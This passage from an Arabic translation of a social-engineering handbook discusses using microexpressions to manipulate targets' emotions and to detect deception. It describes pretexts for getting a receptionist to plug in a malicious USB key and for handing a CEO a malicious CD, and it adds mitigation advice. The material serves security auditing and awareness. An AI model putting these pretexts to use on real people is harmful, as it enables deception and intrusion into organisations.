‫ﻛﺎن ﻟﻲ ﺻدﯾﻖ ﻟﮫ ﺑﻌض اﻟﺗﺟﺎرب اﻟﺳﯾﺋﺔ وھو طﻔل ﻣﻊ ﺷﺧص ﯾﺷﺑﮫ ﺑﺷﻛل وﺛﯾﻖ ﺻدﯾﻖ ﺟﯾد ﻟﻲ‪ .‬ﻋﻧدﻣﺎ ﯾﺄﺗﻲ ﺻدﯾﻘﻲ ﺑوﺟود ھذا اﻟﺷﺧص ﻓﺎﻧﮫ‬
‫ﯾظﮭر ردود ﻓﻌل ﻋﺎطﻔﯾﺔ ﻗوﯾﺔ‪ .‬ﻟو ﻗﻣت ﺑﻘراءة ‪ microexpressions‬ﻟﮫ ﻓﺄﻧك رﺑﻣﺎ ﺗرى اﻟﺧوف واﻻﺣﺗﻘﺎر‪ ،‬ﺛم اﻟﻐﺿب ﻋﻠﻰ وﺟﮫ‪ .‬اﻧﮫ ﻻ‬
‫ﯾﻛره ﺻدﯾﻘﻲ‪ ،‬ﻟﻛﻧﮫ ﻛره اﻟﺷﺧص ﻓﻲ ذاﻛراﺗﮫ واﻟذي ﯾﺷﺑﮫ ﺻدﯾﻘﻲ‪.‬‬
‫ھذه ﻧﻘطﺔ ﺟﯾدة ﻟﺗذﻛر ﻋﻧدﻣﺎ ﻛﻧت ﺗﻌﻠم ﻛﯾﻔﯾﺔ ﻗراءة ‪ microexpressions.‬وﯾرﺗﺑط اﻟﺗﻌﺑﯾر ﻋن اﻟﻣﺷﺎﻋر‪ ،‬وﻟﻛن اﻟﺗﻌﺑﯾر ﻻ اﻗول ﻟﻛم ﻟﻣﺎذا ﯾﺗم‬
‫ﻋرض اﻟﻌﺎطﻔﺔ‪ .‬أﻋرف أﻧﻧﻲ ﻋﻧدﻣﺎ ﺑدأت ﻷول ﻣرة ﺗﻌﻠم ‪ microexpressions‬ﺛم أﺻﺑﺣت إﻟﻰ ﺣد ﻣﺎ "ﻣﺗﯾﻘن" ﻓﻲ ﻗراءة ﺑﻌض اﻟﻌﺑﺎرات‪،‬‬
‫ﺷﻌرت وﻛﺄﻧﻲ ﻛﻧت ﻗﺎرئ اﻟﻌﻘل‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ھذا أﺑﻌد ﻣﺎ ﯾﻛون ﻋن اﻟﺣﻘﯾﻘﺔ‪ ،‬واﻟﺣذر ھو أﻻ ﺗﻛون ﻣﺗظﺎھر او ﻣدﻋﻰ ‪ .‬ﻗد ﺗﺻﺑﺢ ﺟﯾدة‬
‫ﺟدا ﻓﻲ ﻗراءة‪ microexpressions‬؛ وﻣﻊ ذﻟك‪ ،‬ﯾﻧﺎﻗش اﻷﻗﺳﺎم اﻟﻼﺣﻘﺔ ﻛﯾﻔﯾﺔ اﻟﺟﻣﻊ ﺑﯾن ھذه اﻟﻣﮭﺎرة ﻣﻊ ﺗﻛﺗﯾﻛﺎت اﻻﺳﺗﺟواب‬
‫)‪ (interrogation tactics‬وﻣﮭﺎرات ﻟﻐﺔ اﻟﺟﺳد وﻣﮭﺎرات اﻻﺳﺗﻧﺑﺎط )‪ (elicitation skills‬ﻟﻣﻌرﻓﺔ ﻟﯾس ﻓﻘط ﻣﺎ ﯾﻔﻛر ﺑﮫ أھداﻓك‪ ،‬وﻟﻛن‬
‫أﯾﺿﺎ ﻟﯾﻘودھم اﻟﻰ اﻟطرﯾﻖ اﻟذي ﺗرﯾده‪ .‬اﻟﺳؤال اﻟذي ﻻ ﯾزال ﻗد ﯾﻛون ھو‪" :‬ﻛﯾف ﯾﻣﻛﻧﻧﻲ اﺳﺗﺧدام ھذه اﻟﻣﮭﺎرات ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ؟"‬
‫ﻛﯿﻒ ﯾﻤﻜﻦ اﺳﺘﺨﺪام ھﺬه اﻟﻤﮭﺎرات )‪ (microexpressions‬ﻛﻤﮭﻨﺪس اﺟﺘﻤﺎﻋﻲ؟‬

‫ھذا اﻟﻘﺳم ﻛﻠﮫ ﯾؤدي إﻟﻰ ھذا‪ :‬ﻛﯾف ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﻣن ‪ microexpressions‬ﻓﻲ اﻟﺗدﻗﯾﻖ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ وﻛﯾف ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث؟‬
‫ﯾﻧﺎﻗش ھذا اﻟﻘﺳم طرﯾﻘﺗﯾن ﻟﻛﯾﻔﯾﺔ اﺳﺗﺧدام ‪ microexpressions‬ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬اﻷﺳﻠوب اﻷول ﯾﺳﺗﺧدم ‪microexpressions‬‬
‫)‪ (ME‬ﻟﺗﺛﯾر أو ﺗﺳﺑب اﻟﻣﺷﺎﻋر‪ ،‬واﻟطرﯾﻘﺔ اﻟﺛﺎﻧﯾﺔ ھﻲ ﻛﯾﻔﯾﺔ اﻛﺗﺷﺎف اﻟﺧداع‪.‬‬
‫اﺳﻣﺣوا ﻟﻲ أن أﺑدأ ﻣﻊ اﻷﺳﻠوب اﻷول‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام ‪ ME‬اﻟﺧﺎﺻﺔ ﺑك ﻟﺗﺳﺑب ردود ﻓﻌل ﻋﺎطﻔﯾﺔ اﺗﺟﺎه اﻻﺧرﯾن‪ .‬ﻗرأت ﻣؤﺧرا ورﻗﺔ ﺑﺣﺛﯾﺔ‬
‫اﻟﺗﻲ ﻏﯾرت ﻧظرﺗﻲ ﻋن ‪ ME‬وﻓﺗﺣت ﻋﯾﻧﻲ إﻟﻰ ﻣﻧطﻘﺔ ﺟدﯾدة ﻟﻠﺑﺣث‪ .‬اﻟﺑﺎﺣﺛون ‪،Stephan G. Boehm ،Richard E. Zinbarg ،Wen Li‬‬
‫و‪ Ken A. Paller‬ﻗﺎﻣوا ﺑﺗﻧﻔﯾذ دراﺳﺔ ﺑﻌﻧوان "اﻟﻌﺻﺑﯾﺔ واﻷدﻟﺔ اﻟﺳﻠوﻛﯾﺔ ﻟﻠﻌﺎطﻔﯾﺔ اﻟﻣدرﻛﺔ ﻓﺗﯾﻠﺔ ﻣن دون وﻋﻲ ﻟﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟﻌﺎطﻔﯾﺔ‬
‫وﺗﺄﺛﯾر ﺳﻣﺔ اﻟﻘﻠﻖ"‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪847‬‬

‫‪“Neural and Behavioral Evidence for Affective Priming from Unconsciously Perceived Emotional Facial‬‬
‫”‪Expressions and the Influence of Trait Anxiety‬‬
‫ھذه اﻟدراﺳﺔ ﻏﯾرت وﺟﮫ اﺳﺗﺧدام ‪ microexpressions‬ﻓﻲ اﻟﻌﻠم اﻟﺣدﯾث‪.‬‬
‫رﺑط اﻟﺑﺎﺣﺛون اﻟﻌﺷرات اﻟﻣﺻﻐرة ﻣن ‪ (Electrocardiogram) EKGs‬إﻟﻰ ﻧﻘﺎط اﻟﻌﺿﻼت ﻋﻠﻰ وﺟوه رﻋﺎﯾﺎھم‪ .‬أﺟﮭزة ﻟﺗﺳﺟﯾل أي ﻣن‬
‫ﺣرﻛﺎت اﻟﻌﺿﻼت ﻓﻲ اﻟوﺟﮫ واﻟرأس‪ .‬وﺑﻌد ذﻟك ﻗﺎﻣوا ﺑﺗﺷﻐﯾل أﺷرطﺔ اﻟﻔﯾدﯾو اﻟﺗﻲ ﻛﺎﻧت ﻟﮭم وﻛﺎﻧت ﻋﺑﺎره ﻋن ‪ 25/1‬ﻣن اﻟﺛﺎﻧﯾﺔ ﻣن ‪ ME‬ﻓﻲ‬
‫إطﺎرات‪ .‬ﻟﻲ واﻵﺧرون‪ ،‬وﺟدوا ﻓﻲ ﻛل ﺣﺎﻟﺔ ﺗﻘرﯾﺑﺎ ان ﺣرﻛﺔ اﻟﻌﺿﻼت ﺗﺑدأ ﻟﺗﻌﻛس ﻣﺎ ﺗم ﺗﺿﻣﯾﻧﮫ ﻓﻲ ھذا اﻟﻔﯾدﯾو‪ .‬إذا ﻛﺎن اﻟﺧوف أو اﻟﺣزن‪،‬‬
‫ﻓﺈن ﻗﺎرئ ﻋﺿﻼت اﻟوﺟﮫ ﯾﻘوم ﺑﺗﺳﺟﯾل ھذه اﻟﻌواطف‪.‬‬
‫ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ‪ ،‬ﯾﺛﺑت ھذا اﻟﺑﺣث اﻟراﺋد أن اﻟﺷﺧص ﯾﻣﻛﻧﮫ اﻟﺗﻼﻋب ﺑﺎﻟﺣﺎﻟﺔ اﻟﻌﺎطﻔﯾﺔ ﻣﻌﯾﻧﮫ ﻟﺷﺧص آﺧر ﻋن طرﯾﻖ ﻋرض ﺗﻠﻣﯾﺣﺎت ﺧﻔﯾﺔ ﻋن ﺗﻠك‬
‫اﻟﻌﺎطﻔﺔ‪ .‬ﻟﻘد ﺑدأت إﺟراء ﺑﻌض اﻟﺑﺣوث ﻓﻲ ھذا ﻣن زاوﯾﺔ اﻷﻣن واﺻﻔﺎ اﯾﺎه ﺑﺎﻧﮫ "اﻟﻘرﺻﻧﺔ اﻟﻌﺻﺑﯾﺔ‪ "،‬وذﻟك ﻷﻧﮫ ﯾﺄﺧذ اﻟﻛﺛﯾر ﻣن ‪ME‬وﻛذﻟك‬
‫اﻟﺑرﻣﺟﺔ ﻋﺻﺑﯾﺔ )ﺳوف ﺗﻧﺎﻗش ﻻﺣﻘﺎ( وﯾﺟﻣﻌﮭﺎ ﻹﻧﺷﺎء ھذه اﻟﺣﺎﻻت اﻟﻌﺎطﻔﯾﺔ داﺧل اﻟﮭدف‪.‬‬
‫ﺗﺧﯾل ھذا اﻟﺳﯾﻧﺎرﯾو‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾرﯾد أن ﯾذھب إﻟﻰ ﺷرﻛﺔ ﺑﮭدف اﻟﺣﺻول ﻋﻠﻰ اﺳﺗﻘﺑﺎل ﻹدﺧﺎل ﻣﻔﺗﺎح ‪ USB‬ﺧﺑﯾث ﻓﻲ اﻟﻛﻣﺑﯾوﺗر‪.‬‬
‫اﻟذرﯾﻌﺔ )‪ (Pretext‬اﻟﺗﻲ اﺳﺗﺧدﻣﮭﺎ ھﻲ ان ﻟدﯾﮫ اﺟﺗﻣﺎع ﻣﻊ ﻣدﯾر اﻟﻣوارد اﻟﺑﺷرﯾﺔ‪ ،‬وﻟﻛن ﻋﻠﻰ اﻟطرﯾﻖ‪ ،‬ﻗﺎل اﻧﮫ اﻣﺗد ﺟزء ﻣن اﻟﻘﮭوة اﻟﻰ‬
‫ﺟﻣﯾﻊ أﻧﺣﺎء ﻣﻠف اﻟﺳﯾرة اﻟذاﺗﯾﺔ اﻟﺧﺎﺻﺔ ﺑﮫ‪ .‬واﻧﮫ ﺣﻘﺎ ﺑﺣﺎﺟﺔ إﻟﻰ ﻣﺛل ھذا اﻟﻌﻣل وﯾﺣﺗﺎج اﻟﻰ ﻣﺳﺎﻋدة‪ ،‬وﻗﺎل اﻧﮫ ﻟﻠﺧروج ﻣن ھذا اﻟﻣوﻗف ھو‬
‫طﺑﺎﻋﺔ ﻧﺳﺧﺔ أﺧرى ﻣن اﻟﺳﯾرة اﻟذاﺗﯾﺔ؟‬
‫ھذه ذرﯾﻌﺔ اﻟﺻﻠﺑﺔ اﻟﺗﻲ ﻗﺎطرات ﻗﻠب ﻣوظف اﻻﺳﺗﻘﺑﺎل وﻋﻣﻠت ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ ﻓﻲ اﻟﻣﺎﺿﻲ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻓﺎذا ﻗﺎم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺑﺎﻟﺳﻣﺎح‬
‫ﻟﺣﺎﻟﺗﮫ اﻟﻌﺎطﻔﯾﺔ اﻟﺧﺎﺻﺔ ﺑﺎﻟﻌﻣل ﻓﺎﻧﮫ ﻗد ﯾظﮭر ﻋﻠﯾﮫ ﻋﻼﻣﺎت اﻟﺧوف‪ ،‬اﻟذي ﯾرﺗﺑط ﺑﺎﻟﻌﺻﺑﯾﺔ‪ .‬ھذا اﻟﺧوف ﯾﻣﻛن أن ﺗﺗرﺟم إﻟﻰ ﺷﻌور ﺑﻌدم‬
‫اﻻرﺗﯾﺎح ﻓﻲ اﻻﺳﺗﻘﺑﺎل واﻟﻔﺷل أو رﻓض اﻟطﻠب‪ .‬ﻓﻲ ﺣﯾن ﻟو ﻛﺎن ﻗﺎدر ﻋﻠﻰ اﻟﺳﯾطرة ﻋﻠﻰ ﻣﺷﺎﻋره وإظﮭﺎر ﺗﻠﻣﯾﺣﺎت ﺧﻔﯾﺔ ﻣن‬
‫‪ microexpressions‬اﻟﻣﺣزن‪ ،‬اﻟذي ﯾرﺗﺑط ﺑﺷﻛل وﺛﯾﻖ ﻣﻊ اﻟﺗﻌﺎطف‪ ،‬ﻓﺎﻧﮫ ﻗد ﺗﻛون ھﻧﺎك ﻓرﺻﺔ ﺟﯾدة ﺟدا ﻓﻲ اﻟﻣواﻓﻘﺔ ﻋﻠﻰ طﻠﺑﮫ‪.‬‬
‫أذﻛر اﻟﻣﻧﺎﻗﺷﺔ اﻟﺳﺎﺑﻘﺔ ﻣن اﻹﻋﻼﻧﺎت اﻟﺗﺟﺎرﯾﺔ اﻟﺗﻲ ﺗﺷﺟﻊ اﻟﻧﺎس ﻋﻠﻰ اﻟﺗﺑرع "ﻓﻘط دوﻻر واﺣد ﻓﻲ اﻟﯾوم" ﻹطﻌﺎم اﻷطﻔﺎل اﻟﻣﺣﺗﺎﺟﯾن‪ .‬ﻗﺑل‬
‫طﻠب اﻟﻣﺎل‪ ،‬ﻗﺑل إظﮭﺎر رﻗم ھﺎﺗف واﻟﻌﻧوان‪ ،‬ﻗﺑل اﻟﻘول ﺑﺎن ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن ﻣﻘﺑوﻟﺔ‪ ،‬ﻓﺎﻧﮫ ﯾظﮭر اﻟﻌدﯾد ﻣن اﻟﺻور اﻟطوﯾﻠﺔ ﻋن اﻷطﻔﺎل اﻟذﯾن‬
‫ﯾﺷﻌرون ﺑﺎﻟﺣزن ﻋﺑر ﺷﺎﺷﺔ اﻟﺗﻠﻔزﯾون‪ .‬ﺗﻠك اﻟﺻور ﻣن اﻷطﻔﺎل اﻟﻣﺣﺗﺎﺟﯾن واﻷطﻔﺎل اﻟذﯾن ﯾﺗﺄﻟﻣون وﺿﻌت ﻓﻲ اﻟدﻣﺎغ ﺣﺎﻟﺔ ﻋﺎطﻔﯾﺔ ﻣﺎ ھو‬
‫ﻣطﻠوب ﻟﻼﻣﺗﺛﺎل ﻟﻠطﻠب‪.‬‬
‫ھل ﺗﻠك اﻹﻋﻼﻧﺎت اﻟﺗﺟﺎرﯾﺔ ﺗﻌﻣل ﻋﻠﻰ اﻟﺟﻣﯾﻊ؟ ﻻ‪ ،‬ﺑﺎﻟطﺑﻊ ﻻ‪ .‬وﻟﻛن ﻋﻠﻰ اﻟرﻏم ﻣن ان ﻟﯾس اﻟﻛل ﺳوف ﯾﺗﺑرع‪ ،‬ﻓﺈﻧﮭﺎ ﺗؤﺛر ﻋﻠﻰ اﻟﺣﺎﻟﺔ‬
‫اﻟﻌﺎطﻔﯾﺔ ﻟﻠﺟﻣﯾﻊ ﺗﻘرﯾﺑﺎ‪ .‬ھذا ھو ﻛﯾف ﯾﻣﻛن ﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﺳﺗﺧدام ‪ ME‬ﻋﻠﻰ أﻛﻣل وﺟﮫ‪ .‬ﯾﻣﻛن ﺗﻌﻠم ﺣﻣل ﺗﻠﻣﯾﺣﺎت ﺧﻔﯾﺔ ﻣن ھذه ‪ME‬‬
‫أن ﺗﺳﺑب ﻟﻠﺧﻼﯾﺎ اﻟﻌﺻﺑﯾﺔ ﻓﻲ اﻟدﻣﺎغ اﻟﺗﻲ ﺗﺳﺗﮭدﻓﮭﺎ ان ﺗﻌﻛس اﻟﺣﺎﻟﺔ اﻟﻌﺎطﻔﯾﺔ ﺑﺄﻧﮭم ﯾﺷﻌرون ﻣﺎ ﺗﻌرﺿﮫ‪ ،‬ﻣﻣﺎ ﯾﺟﻌل اﻟﮭدف أﻛﺛر اﺳﺗﻌدادا‬
‫ﻟﻼﺳﺗﺟﺎﺑﺔ ﻟطﻠﺑك‪.‬‬
‫ھذا اﻻﺳﺗﺧدام ﻣن ‪ ME‬ﯾﻣﻛن أن ﯾﻛون ﺧﺑﯾﺛﺎ‪ ،‬ﻟذﻟك أرﯾد أن أﺗوﻗف ﻟﺣظﺔ ﻟﻠﺣدﯾث ﻋن اﻟﺗﺧﻔﯾف )‪ .(mitigation‬إدراﻛﺎ ﻟﻠﻛﯾﻔﯾﺔ اﻟﺗﻲ ﯾﻣﻛن أن‬
‫ﺗﺳﺗﺧدم ‪ ME‬ﻻ ﯾﻌﻧﻲ أﻧك ﻓﻲ ﺣﺎﺟﺔ ﻟﺑدء ﺗدرﯾب اﻟﺟﻣﯾﻊ ﻓﻲ ﺷرﻛﺗك أن ﯾﻛون ﺧﺑﯾرا ‪ .ME‬ﻣﺎذا ﯾﻌﻧﻲ ﺗدرﯾب اﻟوﻋﻲ اﻷﻣﻧﻲ اﻟﺟﯾد ﻻ ﯾﺣﺗﺎج أن‬
‫ﯾﺣدث‪ .‬ﺣﺗﻰ ﻋﻧدﻣﺎ ﺻﻣﻣت طﻠﺑﺎت ﻟﺗﺟﻌﻠك ﺗرﻏب ﻓﻲ اﻟﻣﺳﺎﻋدة‪ ،‬اﻟرﻏﺑﺔ ﻓﻲ اﻟﺣﻔظ‪ ،‬واﻟرﻏﺑﺔ ﻓﻲ اﻟﺗﻌزﯾز‪ ،‬ﯾﺟب ان ﺗﺄﺧذ اﻟﺳﯾﺎﺳﺔ اﻷﻣﻧﯾﺔ‬
‫اﻷﺳﺑﻘﯾﺔ‪ .‬ﺑﺳﯾطﺔ "أﻧﺎ آﺳف أﻧﻧﺎ ﻻ ﯾﻣﻛن إدراج ﻣﻔﺎﺗﯾﺢ ‪ USB‬اﻷﺟﻧﺑﯾﺔ إﻟﻰ أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر ﻟدﯾﻧﺎ‪ .‬وﻟﻛن ﺑﻌد ﻣﯾﻠﯾن أﺳﻔل اﻟطرﯾﻖ ﯾوﺟد ﻣﺗﺟر‬
‫ﻓﯾدﯾﻛس ﻛﯾﻧﻛوز‪ .‬وھﻧﺎك ﯾﻣﻛﻧك طﺑﺎﻋﺔ ﺳرة ذاﺗﯾﮫ آﺧري‪ .‬وان ﺳوف أﺧﺑر اﻟﺳﯾد ﺳﻣﯾث أﻧك ﺳوف ﺗﺗﺄﺧر ﺑﺿﻊ دﻗﺎﺋﻖ؟"‬
‫ﻣﺛل ھذا اﻟﺳﯾﻧﺎرﯾو‪ ،‬ﻓﺈن ھذا اﻟﺑﯾﺎن ﻗد ﯾﻔﺳد ﺧطط اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ وﻛذﻟك اﻟﮭدف ﯾﺷﻌر ﺑﺄﻧﮫ ﻣﻔﯾد‪.‬‬
‫ﻟﻼﺳﺗﻔﺎدة ﻣن ﻗوة ‪ ،ME‬ﻓﺈﻧك أﺣﯾﺎﻧﺎ ﺗﺿطر إﻟﻰ دﻣﺟﮭﺎ ﻣﻊ ﻏﯾرھﺎ ﻣن ﺟواﻧب اﻟﺳﻠوك اﻟﺑﺷري أﯾﺿﺎ‪ .‬اﻟطرﯾﻘﺔ اﻟﺛﺎﻧﯾﺔ‪ ،‬ﻛﯾﻔﯾﺔ ﻛﺷف اﻟﺧداع‪،‬‬
‫ﯾﺻف ﻛﯾف ﯾﻣﻛﻧك أن ﺗﻔﻌل ذﻟك‪ .‬اﻟطرﯾﻘﺔ اﻟﺛﺎﻧﯾﺔ ﻻﺳﺗﺧدام ‪ ME‬ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ اﻟﻛﺷف ﻋن اﻟﺧداع‪ .‬ﻟن ﯾﻛون ذﻟك ﺟﻣﯾﻼ إذا ﻛﻧت‬
‫ﺗﺳﺄل ﺳؤال ﻟﺗﻌرف ﻣﺎ إذا ﻛﺎﻧت اﻻﺳﺗﺟﺎﺑﺔ اﻟﺣﻘﯾﻘﺔ أم ﻻ؟ ﻛﺎن ھذا اﻟﻣوﺿوع ﻣﺻدرا ﻟﻠﺟدل ﻣﺣﺗدم ﺑﯾن اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧﯾﯾن اﻟذﯾن ﯾدﻋون أن‬
‫أﻧﻣﺎط اﻟﻌﯾن‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬وﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬أو ﻣزﯾﺞ ﻣن ﺟﻣﯾﻊ ﻣﺎ ﺳﺑﻖ ﯾﻣﻛن أن ﺗﺷﯾر إﻟﻰ اﻟﺣﻘﯾﻘﺔ أو اﻟﺧداع‪ .‬ﻓﻲ ﺣﯾن أن اﻟﺑﻌض ﻻ ﯾﻌﺗﻘد أن‬
‫ھذا ھو اﻟﺣﺎل‪ ،‬واﻟﺑﻌض اﻵﺧر ﯾﺷﻌر وﯾﻣﻛن اﺳﺗﺧدام ھذه ﻛﻌﻠم دﻗﯾﻖ‪.‬‬
‫ﻋﻠﻰ اﻟرﻏم ﻣن ﺑﻌض اﻟﺣﻘﯾﻘﺔ ﻗد ﺗﻛون ﻣوﺟودة ﻓﻲ ﻛل ﻣن ﺗﻠك اﻷﻓﻛﺎر‪ ،‬ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧدام ‪ microexpressions‬ﻟﻠﻛﺷف ﻋن اﻟﺧداع؟‬
‫ﻟﻺﺟﺎﺑﺔ ﻋﻠﻰ ھذا اﻟﺳؤال ﯾﺟب أن ﺗﺄﺧذ ﻓﻲ اﻻﻋﺗﺑﺎر أﻛﺛر ﻣن ﻛون ‪ microexpressions‬ﻓﻘط‪ ،‬ﻛﻣﺎ ﺗم ﺗﺣدﯾدھﺎ ﺧﻼل ھذا اﻟﻘﺳم‪ ،‬ﺗﺳﺗﻧد‬
‫‪ microexpressions‬ﻋﻠﻰ اﻟﻌواطف وردود اﻟﻔﻌل ﻋﻠﻰ اﻟﻌواطف‪ .‬ﺿﻊ ذﻟك ﻓﻲ اﻻﻋﺗﺑﺎر أﺛﻧﺎء ﻗراءة ھذا اﻟﻘﺳم‪ ،‬اﻟذي ﯾﺣﻠل ﺑﻌض اﻷﺳﺑﺎب‬
‫واﻵﺛﺎر‪.‬‬
‫أرﺑﻌﺔ أﺷﯾﺎء ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﻛﺷف اﻟﺧداع ﻓﻲ اﻟﮭدف‪:‬‬
‫‪ -‬اﻟﺗﻧﺎﻗﺿﺎت )‪(Contradictions‬‬
‫‪ -‬اﻟﺗردد )‪(Hesitation‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪848‬‬

‫‪ -‬اﻟﺗﻐﯾرات ﻓﻲ اﻟﺳﻠوك )‪(Changes in behavior‬‬

‫‪ -‬ﺣرﻛﺎت اﻟﯾد )‪(Hand gestures‬‬
‫ﺗﻧﺎﻗش اﻟﻣﻘﺎطﻊ اﻟﺗﺎﻟﯾﺔ ھذه اﻟﻣواد ﺑﻣزﯾد ﻣن اﻟﺗﻔﺻﯾل‪.‬‬
‫اﻟﺘﻨﺎﻗﻀﺎت )‪(Contradictions‬‬
‫اﻟﺗﻧﺎﻗﺿﺎت ﺻﻌﺑﺔ ﺑﺷﻛل ﺧﺎص ﻷﻧﮭﺎ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻣﻛن وﻗوﻋﮭﺎ ﻓﻲ ﺣﺳﺎﺑﺎت واﻗﻌﯾﺔ‪ .‬أﻧﺎ أﻋﻠم ﻓﻲ ﺣﺎﻟﺗﻲ ﻛﺛﯾرا ﻣﺎ أﻧﺳﻲ اﻟﺗﻔﺎﺻﯾل‪ ،‬وان زوﺟﺗﻲ‬
‫ﺗﻣﻸھﺎ ﺑﺳرﻋﺔ‪ .‬ﺑﻌد أن أﺣﺻل ﻋﻠﻰ اﻟﻘﻠﯾل ﻣن اﻟﺗﻠﻣﯾﺢ ھﻧﺎ أو ھﻧﺎك ﻏﺎﻟﺑﺎ ﻣﺎ اﺗذﻛر اﻟﻘﺻﺔ ﻛﺎﻣﻠﺔ‪ .‬ھذا ﻻ ﯾﻌﻧﻲ أﻧﻧﻲ اﻛذب داﺋﻣﺎ ﻓﻲ ﺑداﯾﺔ ﻗﺻﺔ‬
‫أو اﻟﻣﺣﺎدﺛﺔ‪ ،‬ﻟﻛﻧﻧﻲ ﻻ أﺗذﻛر داﺋﻣﺎ ﻛل اﻟﺗﻔﺎﺻﯾل ﺑﺷﻛل واﺿﺢ ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﻠﺗﻌﻠﯾﻖ ﻋﻠﯾﮭﺎ ﻓﻲ اﻟﺑداﯾﺔ‪ ،‬أو أﻋﺗﻘد أﻧﻧﻲ ﻻ أﺗذﻛر اﻟﺗﻔﺎﺻﯾل وﻟﻛن‬
‫ﻓﻲ اﻟﺣﻘﯾﻘﺔ اﻧﺎ ﻻ اﺗذﻛر‪ .‬ﺣﺗﻰ ﺑﻌد "ﺗذﻛر" اﻟﺗﻔﺎﺻﯾل‪ ،‬ﻗد ﺗﻛون اﻟﺗﻔﺎﺻﯾل ﻣن ﻧﺳﺧﺗﻲ ﻣن اﻟواﻗﻊ وﻟﯾس ﻋﻠﻰ طرﯾﻘﺔ ﻗﺻﺔ ﺣدﺛت ﺑﺎﻟﻔﻌل‪.‬‬
‫ھذه اﻟﺗﺿﻠﯾل اﻟﻐﯾر ﻣﻘﺻود ھﺎم ﻓﻲ اﻻﻋﺗﺑﺎر ﻋﻧد ﺗﻘﯾﯾم اﻟﺗﻧﺎﻗﺿﺎت ﺑﺎﻋﺗﺑﺎره دﻟﯾﻼ ﻋﻠﻰ اﻟﻛذب‪ .‬اﻟﺗﻧﺎﻗض ﻣﺎ ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ ھو ﻣوﺟﮫ ﻟك ﻟﺣﻔر‬
‫أﻛﺛر ﻣن ذﻟك‪ .‬ﻣﺷﺎھدة ‪ microexpressions‬ﻟﺷﺧص أﺛﻧﺎء اﺳﺗﺟواﺑﮫ ﺣول اﻟﺗﻧﺎﻗض ھو أﯾﺿﺎ ﻣﻔﯾد‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻓﺗرض أﻧك ﻗد وﺿﻌت ذرﯾﻌﺔ ﻟك ﻛﻣﻧدوب ﻣﺑﯾﻌﺎت‪ .‬أﻧت ذاھب ﻟﻣﺣﺎوﻟﺔ اﻟوﺻول اﻟﻔﻌﻠﻲ إﻟﻰ اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي ﻟﺗﺳﻠﯾم ‪CD‬‬
‫ﻣﻊ ﻋرض ﺧﺎص‪ .‬إﻧك ﺗﻌرف ان اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي ﻣﮭﺗم ﺟزﺋﯾﺎ ﺑﺟﻣﻌﯾﺔ ﺧﯾرﯾﺔ ﻣﻌﯾﻧﺔ وﻟذﻟك ﺗﻘوم ﺑﺗطوﯾر اﻟذرﯾﻌﺔ اﻟﺧﺎﺻﺔ ﺑك ﺣول ذﻟك‪ .‬وأﻧت‬
‫ﺗﻣﺷﻲ ﻓﻲ ﺑﮭو ﺷﺧص أﻣﺎم اﻟﻣﻛﺗب ﯾﻘول ﻟك‪" :‬ﻋذرا‪ ،‬اﻧﮫ ﻟﯾس ھﻧﺎ‪ ،‬ﯾﻣﻛﻧك ﻣﺟرد ﺗرك اﻷﻣر ﻣﻌﻲ"‪.‬‬
‫اﻧت ﺗﻌﻠم أﻧﮫ إذا ﺗرﻛت ‪ CD‬ﺳوف ﯾﻛون ھﻧﺎك ﻓرﺻﺔ أﻛﺑر أن اﻟﻘرص اﻟﻣﺿﻐوط "اﻟﺧﺑﯾﺛﺔ" ﻟن ﯾﺗم اﺳﺗﺧداﻣﮫ‪ .‬ﺗﺷﻌر أﯾﺿﺎ أﻧك ﺗرى ﺳﯾﺎرﺗﮫ‬
‫ﻓﻲ ﻣوﻗف اﻟﺳﯾﺎرات وﺗﻌﻠم ان اﻟﯾوم ﯾوم ﻋﻣل ﻋﺎدي ﺑﺎﻟﻧﺳﺑﺔ ﻟﮫ‪ .‬ﻣﻊ ھذه اﻟﺣﻘﺎﺋﻖ ﻓﻲ اﻻﻋﺗﺑﺎر‪ ،‬وﻣن دون اﻟرﻏﺑﺔ ﻓﻲ إﺣراج اﻟﺷﺧص أﻣﺎم‬
